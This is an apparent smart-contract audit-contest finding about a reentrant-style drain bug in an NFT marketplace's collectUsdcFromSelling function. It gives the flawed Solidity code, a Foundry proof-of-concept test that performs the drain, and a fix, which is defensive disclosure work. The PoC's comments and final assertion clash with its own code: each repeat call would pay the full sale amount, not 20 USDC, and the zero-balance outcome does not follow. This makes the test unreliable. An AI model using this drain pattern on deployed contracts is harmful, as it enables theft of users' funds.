NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Collateral never cleared in collectUsdcFromSelling, allowing seller to drain all contract USDC

ahmad044

Description

When a whitelisted user mints an NFT, the protocol locks a USDC collateral amount recorded in collateralForMinting[tokenId]. After the NFT is sold, the original seller calls collectUsdcFromSelling() to receive their sale proceeds plus the returned collateral.

The function reads collateralForMinting[listing.tokenId] and adds it to amountToSeller, but never sets it to zero. Any seller who has completed a sale can call the function repeatedly on the same listingId, receiving the collateral amount on every call until the contract is empty. Additionally, usdc.safeTransfer(address(this), fees) performs a self-transfer — the contract sends USDC to itself — which is a no-op, while totalFeesCollected += fees is still incremented on every repeated call, inflating the accounting beyond the actual contract balance.

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
// @> collateralToReturn is read but collateralForMinting is NEVER set to 0
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
​
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
// @> Self-transfer: no-op. Fees stay in contract but counter inflates each call.
usdc.safeTransfer(address(this), fees);
// @> Pays collateralToReturn again on every subsequent call indefinitely
usdc.safeTransfer(msg.sender, amountToSeller);
// @> MISSING: collateralForMinting[listing.tokenId] = 0;
}

Risk

Likelihood:

  • A seller calls collectUsdcFromSelling() a second time immediately after the first successful collection — there is no state change, flag, or guard preventing repeated execution since the only check (!listing.isActive) is already satisfied after the first call.

  • Any seller who has completed at least one sale has permanent, unrestricted access to call this function in a loop for as long as the contract holds a USDC balance.

Impact:

  • A single malicious seller drains the entire USDC balance of the contract, stealing collateral and proceeds belonging to every other minter and seller.

  • totalFeesCollected becomes inflated beyond the actual contract balance, causing withdrawFees() to revert or attempt to transfer more than available once a drain has occurred.

Proof of Concept

function test_drainViaRepeatedCollect() public revealed {
vm.prank(owner);
nftDealers.whitelistWallet(alice);
vm.prank(owner);
nftDealers.whitelistWallet(bob);
​
usdc.mint(alice, 20e6);
vm.startPrank(alice);
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft(); // tokenId = 1, collateralForMinting[1] = 20 USDC
nftDealers.list(1, 1000e6);
vm.stopPrank();
​
usdc.mint(bob, 1000e6);
vm.startPrank(bob);
usdc.approve(address(nftDealers), 1000e6);
nftDealers.buy(1); // contract holds 20 + 1000 = 1020 USDC
vm.stopPrank();
​
// Alice collects legitimately once, then drains repeatedly
vm.startPrank(alice);
nftDealers.collectUsdcFromSelling(1); // legitimate: receives ~1010 USDC
nftDealers.collectUsdcFromSelling(1); // drain: receives another 20 USDC
nftDealers.collectUsdcFromSelling(1); // drain: receives another 20 USDC
vm.stopPrank();
​
// Alice has drained more than her legitimate entitlement
// Contract balance is now 0 — other users' collateral is gone
assertEq(usdc.balanceOf(address(nftDealers)), 0);
}

Recommended Mitigation

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
​
+ collateralForMinting[listing.tokenId] = 0;
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
- usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}
Updates

Lead Judging Commences

rubik0n Lead Judge 16 days ago
Submission Judgement Published
Validated
Assigned finding tags:

drain-protocol-risk

collateral is not reset to zero after collecting USDC from sold NFT. No accounting for collected USDC

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!